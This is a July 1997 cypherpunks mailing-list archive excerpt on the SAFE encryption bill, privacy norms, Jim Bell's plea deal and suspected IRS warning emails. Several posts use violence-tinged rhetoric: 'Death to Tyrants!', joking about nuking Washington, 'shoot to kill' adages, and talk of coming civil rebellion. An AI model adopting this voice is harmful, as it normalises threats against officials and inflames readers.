W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Wed, 23 Jul 1997 15:27:20 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Privacy: Law, Custom, and Technology
In-Reply-To: <v03007804aff9d745474f@[207.94.249.108]>
Message-ID: <v03007814affb5f9aacf5@[207.94.249.108]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:52 AM -0700 7/22/97, Unprivileged user wrote:
>Custom is determined by evolution, not by specification.  And that cannot
>be accelerated, and will be a problem until everyone has been on the net
>long enough to establish a common set of manners.  How much information
>does someone retain?  Enough so that a web page presents your desired
>configuration without having to retype it?  Should they pass this on to a
>sister site?  A different company?

I'm not sure I agree that the evolution of custom can not be accelerated.
If we actively discuss the proper limits to use of private information, are
we not accelerating the development of consensus about what are reasonable
policies.  It is precisely the lack of such discussion, and the lack of
trust that accompanies it that leaves us in the situation we find ourselves
in; between the well defined Netiquette of the ARPANET days, and whatever
our commercial net will evolve.

There are a lot of choices.  For example:

(1) Don't remember anything about me as an individual.
(2) Don't share any individual data.
(3) Feel free to share, but leave my name off.
(4) Sell the data, but give me a piece of the action.

I can imagine that any of these will be acceptable to some people.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 23 Jul 1997 16:13:46 +0800
To: cypherpunks@toad.com
Subject: House crypto-vote echoes classified briefing (plus: COWS!)
Message-ID: <Pine.GSO.3.95.970723005201.14455E-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Wed, 23 Jul 1997 00:43:48 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: House crypto-vote echoes classified briefing (plus: COWS!)

Another House panel approved the SAFE encryption bill
Tuesday afternoon after a tense debate, capped by the
surprise testimony of a phalanx of law enforcement lobbyists
who appeared at what was scheduled to be a straightforward
vote.

The International Relations committee rejected 22-13 an
amendment that would gut the generally pro-crypto measure
by returning complete control over crypto-exports to the
president, then passed the SAFE bill unchanged.

In the process, the committee replayed an off-the-record
debate that took place on June 26 at a classified briefing
in the Capitol. The 64-page transcript of last month's
hearing, now redacted and declassified, reveals the same
tension between law enforcement and national security
lobbyists and two SAFE backers: Rep. Bob Goodlatte (R-Va)
and Rep. Lofgren (D-Ca).

Much of the talk at the classified briefing centered around
how to coerce Americans -- and more importantly, high tech
firms -- to adopt and use a "key recovery infrastructure"
that would allow the government to have ready access to the
secret keys used for encryption and decryption. Bill
Reinsch, Commerce Department undersecretary, said, "The
question is, how do we get there? We were trying to get
there through export controls. That may or may not be the
best way. Arguably import control might be the better way,
but nobody wants to do import controls, and they are off
the map."

Rep. Howard Berman (D-Ca) suggested banning unapproved
encryption altogether: "Why don't you treat it like heroin
or something?" Replied FBI Director Louis Freeh: "Within
the administration there have been long and not harmonious
discussions about what approach is more requisite. The law
enforcement components perhaps have more immediate view,
and that debate is pretty much over within the
administration..."

Then Reinsch complained that Microsoft wasn't playing ball
with the administration: "They appear not to believe that
key recovery is the way of the future." (I don't make this
stuff up, folks.)

He wasn't the only one to sound an Orwellian note. The
NSA's Crowell said, "There is a need for an instrument,
just like the FCC has. When you get a garage door opener,
it is licensed so you will not turn on your neighbor's TV
with the garage door opener. There is a need for a
licensing process
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx."

The rest of his statement is gone from the transcript,
crossed out by the thick, eager pens of government
censors. This is why reading redacted documents is
always a nerve-wracking experience: you feel like you're
being teased with not enough information.

That also happened this afternoon. I've never seen
lobbyists as nervous as they were today before the
International Relations committee met for the SAFE vote.
Everyone expected the chair of the committee, Rep. Benjamin
Gilman (R-NY), to introduce amendments that would tilt the
bill to favor national security, but how would they be
phrased? Nobody knew. Why was the hearing postponed three
times -- was it official House business, or last-minute
deal-cutting? And why was Clipper Chip proponent James
Kallstrom, assistant director of the FBI, sitting in the
front row -- would he testify as an unscheduled
administration expert?

In the end, of course law enforcement and national security
advocates launched a full-court press -- and lost. Gilman,
the committee chair, introduced an amendment that would gut
the generally pro-crypto SAFE bill by returning complete
control over crypto-exports to the president. Industry
groups and civil libertarians denounced it (correctly) as
nullifying SAFE. It would be just as bad, and arguably
worse, than Congress not passing any bill in the first
place. Worse yet, they said, Gilman cloaked his amendment
in "national security" language that would appeal to
members of his committee who are used to approving such
measures.

Then there were the cows. Again, I'm not making this up.
Apparently if a cow is out of the barn, it no longer makes
sense to shut the barn door to prevent any more cows from
leaving. (I can't attest to this personally. Perhaps
cows have an inherent sense of occasion.) "Do we open the
doors to let all the cows out?" asked one committee member.
The FBI's Kallstrom rebutted: "There are many, many still
left inside the barn." No, said Lofgren. "The cows are
tromping all over America. Cows can replicate. They're
being born all over the world. There's plenty of beef
available!"

SAFE now moves to three more committees simultaneously:
Commerce, National Security, and Intelligence, which have
until early September to vote on the bill. Since the
Clinton administration lobbyists met with a bitter defeat
in the International Relations committee, expect them to
use the August recess to redouble their lobbying attempts.
They may concentrate hardest on House Rules committee
members, who will be tasked with reconciling any
amendments to SAFE.

Yet even after today's vote, the overall encryption outlook
in Congress remains dismal. SAFE's companion bill in the Senate,
ProCODE, is dead and gutted. It's been replaced with the
McCain-Kerrey bill, which is pro-key escrow legislation
that the administration supports. And, most importantly,
the president has said he'll veto any pro-crypto bill that
comes across his desk...

---

Gilman's amendment offered today:
	
	NATIONAL SECURITY EXCEPTION -- Notwithstanding any other
	provision of this subsection, the President shall have
	the authority to regulate, including through the approval
	or denial of licenses or other means deemed appropriate,
	the export or reexport of encryption items, including
	hardware and software with encryption capabilities, if
	the President find that the export of such items would
	adversely affect the national security. National security
	shall include, but not be limited to, the ability of law
	enforcement agencies, including Federal, State, and local
	agencies, to combat espionage, terrorism, illicit drugs,
	kidnapping, or other criminal acts, or otherwise would
	involve the potential for loss of human life.

---

Excerpt from Secretary of Defense William Cohen's letter to
Congress, dated July 21, 1997:	

	It is also important to note that the Department of Defense
	relies on the Federal Bureau of Investigation for the
	apprehension and prosecution of spies. Sadly, there have
	been over 60 espionage convictions of federal employees
	over the last decade. While these individuals represent
	a tiny minority of government employees, the impact of
	espionage activities on our nation's security can be
	enormous. As the recent arrests of Nicholson, Pitts, and
	Kim clearly indicate, espionage remains a very serious
	problem. Any policies that detract from the FBI's ability
	to perform its vital counterintelligence function,
	including the ability to perform wiretaps, inevitably
	detract from the security of the Department of Defense
	and the nation...

	Encryption legislation must also address the nation's
	domestic information security needs. Today, approximately
	95% of DoD communications rely on public networks; other
	parts of government, and industry, are even more
	dependent on the trustworthiness of such networks.
	Clearly, we must ensure that encryption legislation
	addresses these needs. An approach such as the one
	contained in S.909 can go a long way toward balancing the
	need for strong encryption with the need to preserve
	national security and public safety. I hope that you will
	work with the Administration to enact legislation that
	addresses these national security concerns as well as the
	rights of the American people...

---

More info:

  http://pathfinder.com/netly/opinion/0,1042,1022,00.html

  http://pathfinder.com/netly/editorial/0,1012,931,00.html

  http://www.jya.com/declan3.txt

  http://www.jya.com/declan2.txt

  http://www.jya.com/declan1.txt

  http://www.well.com/~declan/fc/

###








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 23 Jul 1997 15:56:47 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Privacy: Law, Custom, and Technology
In-Reply-To: <97Jul22.115025edt.32258@brickwall.ceddec.com>
Message-ID: <v03102801affb6757f486@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:22 AM -0700 7/23/97, Bill Frantz wrote:

>I'm not sure I agree that the evolution of custom can not be accelerated.
>If we actively discuss the proper limits to use of private information, are
>we not accelerating the development of consensus about what are reasonable
>policies.  It is precisely the lack of such discussion, and the lack of
>trust that accompanies it that leaves us in the situation we find ourselves
>in; between the well defined Netiquette of the ARPANET days, and whatever
>our commercial net will evolve.
>
>There are a lot of choices.  For example:
>
>(1) Don't remember anything about me as an individual.
>(2) Don't share any individual data.
>(3) Feel free to share, but leave my name off.
>(4) Sell the data, but give me a piece of the action.
>
>I can imagine that any of these will be acceptable to some people.

But these "agreements" have two sides.

None of the four choices you list are of any interest to me, for example,
and whether you find them acceptable is of no interest to me.

(I am not trying to be rude to Bill, just making the point forcefully that
I don't particularly care that these four choices are acceptable to "some
people.")

I of course remember _lots_ of things about people, I share those memories
on occasion (without requesting permission), I mention names, and I
certainly don't recall every giving one of the subjects of my memories a
cut of the action.

In a free society, it is not possible or acceptable to control what others
remember or gossip about. Or even sell commercially.

"Custom" only applies to those who adopt the custom--the "law" is for
everyone else. The question is: do we have a law demanding that people not
remember certain things, or not gossip about what they've observed? I think
even a totalitarian society will have well-known problems enforcing such
laws.

I'd've thought this obvious, but Bill's post makes me wonder.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Wed, 23 Jul 1997 16:20:47 +0800
To: cypherpunks@Algebra.COM
Subject: Re: IRS sending warning notes, violating ECPA?
In-Reply-To: <199707230546.HAA20775@basement.replay.com>
Message-ID: <19970723010939.51681@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, Jul 22, 1997 at 11:54:39PM -0700, Tim May wrote:
> At 10:46 PM -0700 7/22/97, Anonymous wrote:
[...]
> >  Tim May's rants are not done in ignorance. He understands the legal
> >differences between saying "The criminals in D.C. _should_ be nuked.",
> >and saying, "I _am_going_to_ nuke the criminals in D.C., someday."
> >(Friday, at 4 o'clock.)
[...]
> >  I am just as certain that Tim has made a conscious decision as to
> >what level of risk he is willing to take to speak his mind and perhaps
> >make a difference in the events of his time, without merely being
> >egoistical, stupid, and suicidal.
> 
> If I wanted to be "safe" and "secure," I'd just stay silent like a good
> little sheeple. I'd get off this list, I'd cluck appropriately at those
> darned cypher-terrorists, and I'd volunteer some time at the local
> Demopublican Party machine.
> 
> All of us on this list, except the plants and shills, are risking a certain
> amount. (Several corporate types have sent me e-mail saying that now that
> they are in positions of respectability within their corporations, they can
> no longer say what's on their mind, for fear of repercussions of various
> sorts, however mild.)
> 
> Speaking out is what separates us from sheeple.

Actually, nothing whatsoever separates Tim from sheeple.  

As anon clearly points out, Tim toes the line with his speech,
carefully avoiding saying anything that escapes constitutional
protection.  In fact he frequently sprinkles his posts with comments
pointing out that some outrageous thing he just said is
constitutionally protected. 

And Tim doesn't have to worry about an employer, unlike the "corporate
types" he mentions, but he (as he noted in a recent post) pays his
taxes like everyone else.  He said, as I recall, that he of course
didn't like paying, but essentially that it was too much trouble to
avoid it.  Tim sees the Man, and Tim knows who's boss.

Yes, Tim talks a brave talk.  But, though the parameters of his 
slavery are different than most of ours, he is part of the flock, 
nonetheless. 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 23 Jul 1997 19:24:08 +0800
To: cypherpunks@toad.com
Subject: Re: DEATH TO TYRANTS
Message-ID: <1.5.4.32.19970723105319.006bc6dc@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:

>By the way, I don't recall it being mentioned that [my] message from "IRS
>Inspection" had an interesting subject line: DEATH TO TYRANTS.


The six other headers received or forwarded here have the same subject: 
"Something of Interest."

Further, Tim's message is so far the earliest of the batch: 12:18 compared to 
the next at 12:25 which went to a mail list based in Norway. Others followed 
at about 1 minute intervals, the last at 12:33.

See the full headers at:

   http://jya.com/irs-header.txt

BTW, Declan, did you not once write that IRS offices are down the corridor
from yours? If so, would you care to ask the thieves their opinion of the spam,
especially if they are the authors, sneaking into your box and lifting lists
while 
you're sipping and baseballing with the brokers?

Cite me as inquring an CU-FU, if you prefer to keep reportorial distance. Write
up spam story, do, providing that you're up to snuff paying Crispin-bandit 
extortion.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Wed, 23 Jul 1997 19:43:30 +0800
To: Mike Duvos <cypherpunks@cyberpass.net
Subject: Re: R.I.P Jim Bell
In-Reply-To: <3.0.2.32.19970721145141.006b0038@panix.com>
Message-ID: <3.0.2.32.19970723071928.03d1d32c@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 03:03 PM 7/21/97 -0700, Mike Duvos wrote:

>Perhaps.  But he would have been tried in the media, and would
>probably have been transformed into "Terrorist Jim Bell" at the
>hands of the spin masters.  In the end, even if he won in court,
>he would have been about as popular as OJ, 

He would have had support among his counter cultural group (us).  He wasn't 
accused of very serious acts like OJ.

>Tell that to Robert "ream me again, please" Thomas of Amateur
>Action BBS fame, who wasn't even accused of being a potential
>terrorist, much less of trying to overthrow the entire
>government.

All the sedition cases of the last 60 years (2) have been lost by the Feds.  
Sedition is really hard to win (and of course JB wasn't accused of same).

>Don't plead in political cases like Steve Jackson Games, PROMIS,
>Operation Sun Devil, etc...  On the other hand, if you are
>accused of being one of the actual Four Horsemen, and the feds
>are holding press conferences on every channel with inflammatory
>voice-over editorials describing the alleged contents of your
>dwelling, some capitulation to the Barbarians may be necessary.

The "911 Document" prosecutions that grew out of Operation Sun Devil were for 
one of the Four Horsemen: terrorists.  Evil Hackers who would destroy the 911 
system.  There were lots of inflammatory statements from the prosecutors but 
they really bit it when forced to go to trial.

DCF

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM9XovoVO4r4sgSPhAQGTegP8CQIVLlAXW46MrtWQZbQPmLHaNROleY41
vHGXWuS5K8RYg3QCQbbzuz5xcarf8mOkvBChyn9ooE5uzWbVlcdrblUqb8Zh9CgI
Zfuv0xQp0lHh2MygvtxFhKE7DBk/0owaFoyYYfdPmkwtM93+ZsknxV756rMT5VWA
7LvLnqteUxw=
=TZFC
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 23 Jul 1997 22:50:23 +0800
To: cypherpunks@toad.com
Subject: RE: House crypto-vote echoes classified briefing (plus: COWS!)
Message-ID: <Pine.GSO.3.95.970723073712.18339B-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



The report isn't online, BTW. At least not yet...

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 23 Jul 1997 20:02:18 +0800
To: cypherpunks@toad.com
Subject: Jim Bell Docket 3
Message-ID: <1.5.4.32.19970723114324.006a189c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



We've updated Jim Bell's court docket to show July 18 entries for
the plea agreement:

   http://jya.com/jimbell-dock2.htm

It lists a waiver of indictment, a plea agreement "filed under seal"
and a hearing for sentencing set for October 17.

Jim's remanded to jail until then, making a total of five months of time
served since arrest.

Consider that everyone in the case is supported by the tax-extortion Jim
was fighting. The Federal/Community Defender program is bribed at
$308,000,000 for FY 1998.

Keep up this self-serving banditry, you millions of members of Crispin's 
extortion-by-law-mil/gov big-gun-show world, and reap what you sow.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 23 Jul 1997 14:01:11 +0800
To: cypherpunks@toad.com
Subject: Re: IRS sending warning notes, violating ECPA?
Message-ID: <199707230546.HAA20775@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Paul Bradley wrote:
> 
> > It certainly appears that the IRS has sent "warnings" out to all of us
> > active in the debate. 
> The way I see it there are two possible ways the motherfuckers got the
> addresses, either they found the lists Jim subscribed to and did "who
> cypherpunks" etc. to the servers, to get the list of participants, or
> they used any adresses off the mail jim has recieved in the past, I got a
> copy of it and I have privately emailed Jim several times so I can`t
> really say which is more likely.
> 
> If it is the second I am hereby giving Jim a public dresssing down for
> not encrypting the filesystem ;-)....

Paul,
  I spoke to the judge in the case and he has agreed that your
"dressing down" of Jim is a far more severe sentence than anything
he could impose, so he is turning Jim loose this afternoon.

  Seriously...
  Your comments reminded me why I read the PRZ's PGP manual/intro
every now and again to refresh my memory/paranoia about security
issues.
  Perhaps the hardest part of maintaining secure communications and
personal privacy is remembering that, no matter how tight you run your
own ship, you are, to a certain extent, "married" to the people with
whom you communicate. And, to use an AIDS analogy, you are also
"married" to everyone they have slept with.
  Perhaps you would trust "mom" with your life. However, what if the
ever-present "they" threatened to kill all of her other children 
unless she ratted you out? The answer to this question doesn't matter
if you have used cryptography and/or anonymity in a manner that doesn't
leave you vulnerable to anyone else.

  Even if mom would never 'rat you out' under any circumstances, does
she have the knowledge and discipline needed to keep "them" from being
able to access your communications with her?
  The bottom line is that one should "err" on the side of safety. Being
_too_ paranoid is less costly than not being paranoid enough.
  Tim May's rants are not done in ignorance. He understands the legal
differences between saying "The criminals in D.C. _should_ be nuked.",
and saying, "I _am_going_to_ nuke the criminals in D.C., someday."
(Friday, at 4 o'clock.)
  I am certain that Tim is well aware that, even if he is right about
his statements being Constitutionally protected free speech, there is 
always the chance that he could suffer grief or imprisonment for them(
quite simply because "the criminals" are getting more profecient at
subverting and destroying the rights protected by the Constitution).
  I am just as certain that Tim has made a conscious decision as to
what level of risk he is willing to take to speak his mind and perhaps
make a difference in the events of his time, without merely being
egoistical, stupid, and suicidal.

  Kent Crispin, when he's not being just plain ignorant, sometimes
manages to raise valid issues that serve as a counter-point to Tim's
views, but the bottom line is that, in the presence of two other
world-leaders who are privy to the mountains of information that is
kept hidden from the public by their governments, Jean Chretien,
the Prime Minister of Canada, openly stated that the politicians
in the U.S. would be imprisoned as criminals in most countries.
  It's true. Currently, Saskatchewan politicians are being
prosecuted for what would be considered "nickle and dime" matters
in the U.S. (e.g. <$1,000 wrongful use of expense accounts). In the
U.S., the S&L scandal involved _billions_ of dollars in fraud and
thievery and only a few of the really stupid bit-players got thrown
to the wolves.

  In short, when you communicate with anyone, it is your own
responsibility to limit the level of your future vulnerability.
If you think that it's OK to post a message to the list saying,
"I'm going to nuke D.C. on Friday, at 4 p.m. Shhh! Don't tell
anybody.", then go for it. (But keep in mind that some people
just can't keep a secret.)

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 23 Jul 1997 14:13:28 +0800
To: cypherpunks@toad.com
Subject: Re: R.I.P Jim Bell
Message-ID: <199707230550.HAA21080@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




Mike Duvos wrote the stuff appended to this post:

Mike,
  I found this post either really funny or really scary.
  Maybe both.

TruthMonger
-----------
> Duncan Frissell <frissell@panix.com> writes:
> 
>  > I'll be curious to see what kind of deal he got.  It had
>  > better be an awfully good one (say "time served").  If not
>  > he was as dumb as toast.
> 
> Let's hope it was not the "8 years" I heard on the evening news,
> although I didn't catch whether that was just a possible
> sentence, or the results of the plea bargain negotiations.
> 
>  > He had a perfect chance to rake the Feds over the
>  > coals and try nasty disfavored defenses like
>  > Selective Prosecution.  Hard to win that one but
>  > he had as good a case as any one I've seen for
>  > that defense.  At the most, he would have gotten a
>  > short sentence if convicted.  Big deal.
> 
> Perhaps.  But he would have been tried in the media, and would
> probably have been transformed into "Terrorist Jim Bell" at the
> hands of the spin masters.  In the end, even if he won in court,
> he would have been about as popular as OJ, and the entire
> population of America would have learned to live their lives in
> constant fear of smelly organic chemicals and nickel-plated
> carbon fibers. Parents would be mail-ordering carbon fiber test
> kits to use in their childrens' rooms.
> 
>  > Since he was apparently not doing a great deal with his
>  > life in any case, he could have used it for some good.  Make
>  > the Feds spend hundreds of thousands of dollars on him and
>  > tie up their resources.
> 
> I would certainly try to make any such harrassment of me as
> expensive as possible for those engaging in it.  On the other
> hand, Bell does have living relatives, which makes unilateral
> nose-thumbing at the state apparatus more risky.
> 
>  > Prison is no punishment for those who like to read and write.
> 
> Being bossed around by assholes is always annoying, regardless of
> ones academic interests.
> 
>  > In these political cases where the Feds are clearly
>  > overreaching, those who don't plead do much better than
>  > those who do.  This is the reverse of the situation in
>  > normal criminal cases.
> 
> Tell that to Robert "ream me again, please" Thomas of Amateur
> Action BBS fame, who wasn't even accused of being a potential
> terrorist, much less of trying to overthrow the entire
> government.
> 
>  > Don't plead in political cases.  It's stupid.
> 
> Don't plead in political cases like Steve Jackson Games, PROMIS,
> Operation Sun Devil, etc...  On the other hand, if you are
> accused of being one of the actual Four Horsemen, and the feds
> are holding press conferences on every channel with inflammatory
> voice-over editorials describing the alleged contents of your
> dwelling, some capitulation to the Barbarians may be necessary.
> 
> There are a number of adages which apply to this situation,
> amongst them...
> 
>     Don't get involved in fights you can't win.
> 
>     When you aim for the King, shoot to kill.
> 
>     The goal of war is not to die for your country, but to make
>     sure the enemy dies for theirs.
> 
>     etc...
> 
> Enumerating Bell's violations of these common sense principles is
> left as an exercise to the reader.
> 
> --
>      Mike Duvos         $    PGP 2.6 Public Key available     $
>      enoch@zipcon.com   $    via Finger                       $
>          {Free Cypherpunk Political Prisoner Jim Bell}






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 23 Jul 1997 21:54:00 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: IRS sending warning notes, violating ECPA?
In-Reply-To: <19970723010939.51681@bywater.songbird.com>
Message-ID: <199707231347.IAA23174@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <19970723010939.51681@bywater.songbird.com>, on 07/23/97 
   at 01:09 AM, Kent Crispin <kent@songbird.com> said:

>Yes, Tim talks a brave talk.  But, though the parameters of his  slavery
>are different than most of ours, he is part of the flock,  nonetheless. 

Well Kent I think that there are distinct differences between someone like
Tim who dislikes his slavery and is actively working to remove his bonds
and others like yourself who not only like the "security" of being
inslaved but wish more chains to be put on us all.

Tim may be part of the "flock" but only because their is a gun to his head
while youself would be a sheeple even if the slavemasters were gone.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 23 Jul 1997 22:06:13 +0800
To: John Young <jya@pipeline.com>
Subject: Re: Jim Bell Docket 3
In-Reply-To: <1.5.4.32.19970723114324.006a189c@pop.pipeline.com>
Message-ID: <199707231353.IAA23244@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <1.5.4.32.19970723114324.006a189c@pop.pipeline.com>, on 07/23/97 
   at 07:43 AM, John Young <jya@pipeline.com> said:

>We've updated Jim Bell's court docket to show July 18 entries for the
>plea agreement:

>   http://jya.com/jimbell-dock2.htm

>It lists a waiver of indictment, a plea agreement "filed under seal" and
>a hearing for sentencing set for October 17.

>Jim's remanded to jail until then, making a total of five months of time
>served since arrest.

>Consider that everyone in the case is supported by the tax-extortion Jim
>was fighting. The Federal/Community Defender program is bribed at
>$308,000,000 for FY 1998.

>Keep up this self-serving banditry, you millions of members of Crispin's 
>extortion-by-law-mil/gov big-gun-show world, and reap what you sow.

Has anyone contacted Jim's lawer about the recent IRS SPAM?

Seems to me that the IRS leaking the Plea Agreement would be at least
contempt of court.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "CST Administration Dept" <admin@CyberSpaceTechnologies.com>
Date: Wed, 23 Jul 1997 21:35:59 +0800
To: <jya@pipeline.com>
Subject: Re: Jim Bell Docket 3
Message-ID: <199707231318.IAA10360@oceanus.host4u.net>
MIME-Version: 1.0
Content-Type: text/plain



 >Consider that everyone in the case is supported by the tax-extortion Jim
>was fighting. The Federal/Community Defender program is bribed at
>$308,000,000 for FY 1998.
>

When doesn't the government get big bucks? I mean look at what they did to
us soldiers? Congress gave themselves a 6.8% payraise in 1 (one) year, and
gave us a 2.6% pay raise spread across 3 (three)!

>Keep up this self-serving banditry, you millions of members of Crispin's
>extortion-by-law-mil/gov big-gun-show world, and reap what you sow.

We all know that the very seeds of civil rebellion that fueled the civil war
and others of that caliber across the globe are now present in the U.S once
again. Believe you me, they will reap what they sow. They caused it. They
can deal with it. The only thing I have to say to them is.. "Don't expect me
to help clean it up. I will not fire on my fellow countrymen, except in the
defense of my family!"  So, don't worry. Their day is coming, far quicker
than they realize.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeff Barber <jeffb@issl.atl.hp.com>
Date: Wed, 23 Jul 1997 21:53:06 +0800
To: cypherpunks@cyberpass.net (Cypherpunks List)
Subject: Re: Fight-each-other
In-Reply-To: <97Jul22.220455edt.32257@brickwall.ceddec.com>
Message-ID: <199707231406.KAA31336@jafar.issl.atl.hp.com>
MIME-Version: 1.0
Content-Type: text/plain



Nobody writes:

> > > Grover Norquist has coined the term "The Leave-us-alone Coalition" that
> > > simply wants the government out of everything they have no constitutional
> > > authority to be in.  They perceive government as an intrinsic evil and the
> > > only thing that should be done is to slay the dragon.  I would number
> > > Eagle Forum and the Progress and Freedom Foundation in this group.
> > 
> > Sure, *they* want to be left alone, but I wouldn't trust these
> > groups to leave the rest of us alone.
[snip]
> >                                                    These groups are
> > not friends of liberty.  Like the traditional "liberals", they seek
> > not so much to slay the dragon as to replace it with their own.

> You either missed or paraphrased my second paragraph.  My point is
> precisely that the rift is between those who want to use government to
> regulate the things you mention, and those who don't think it is the
> government's business, whether they consider them good or bad.  The
> organizations I mentioned here specifically don't want the federal
> government trying to control these things.

OK, let's look at one of these organizations.  Here's certain bullets
from the mission statement from Eagle Forum's web site, followed by
my annotations.  I've omitted most of their bullets, some of which
I actually agree with.

o	Supports a strong national defense and the protection of
	American sovereignty and jobs against encroachments by
	international agreements. We support using the newest
	technology to build a strong ballistic missile defense. We
	oppose weakening the military by putting women and open
	homosexuals in combat assignments. We oppose "New World
	Order" interventions -- a government that can't protect our
	safety in America's cities has no business trying to police the
	world. 

Protection of jobs by government as implied here does not reflect a
perception of government as "an intrinsic evil".


o	Supports a health care system that puts control of spending in
	the hands of individuals -- not the government. We support
	individual medical savings accounts plus tax fairness, so that all
	Americans can buy health insurance with pre-tax dollars. 

Again, a government solution, not a clear "keep the government out of
the health care system."


o	Supports conservative and pro-family policies at every level of
	government. 

There's that G-word again.


o	Opposes government subsidies for offensive "art," elective
	abortions, or immoral lifestyles. 

But implicit in this is that they *would* give government subsidies
to art they don't find offensive, and would support "moral" lifestyles
(for their definition of moral).  Otherwise, why don't they come out 
and say "we oppose ALL government subsidies for art" and "we think
the government ought not promote any lifestyle"?


o	Opposes violence, pornography, and attacks on traditional
	family values by the entertainment industry. 

An implicit threat to use government to regulate the industry.

I could do the same thing with the Progress and Freedom Foundation
or the National Empowerment TV group you mentioned, but what's the
point?  These people are not libertarians!  And grouping them into
something called the "leave-us-alone" coalition is a fraud.


-- Jeff





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Wed, 23 Jul 1997 23:28:58 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: IRS sending warning notes, violating ECPA?
In-Reply-To: <19970723010939.51681@bywater.songbird.com>
Message-ID: <Pine.SUN.3.96.970723110841.29712D-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 23 Jul 1997, Kent Crispin wrote:

> Actually, nothing whatsoever separates Tim from sheeple.  
> 
> As anon clearly points out, Tim toes the line with his speech,
> carefully avoiding saying anything that escapes constitutional
> protection.  In fact he frequently sprinkles his posts with comments
> pointing out that some outrageous thing he just said is
> constitutionally protected. 
> 
> And Tim doesn't have to worry about an employer, unlike the "corporate
> types" he mentions, but he (as he noted in a recent post) pays his
> taxes like everyone else.  He said, as I recall, that he of course
> didn't like paying, but essentially that it was too much trouble to
> avoid it.  Tim sees the Man, and Tim knows who's boss.
> 
> Yes, Tim talks a brave talk.  But, though the parameters of his 
> slavery are different than most of ours, he is part of the flock, 
> nonetheless. 

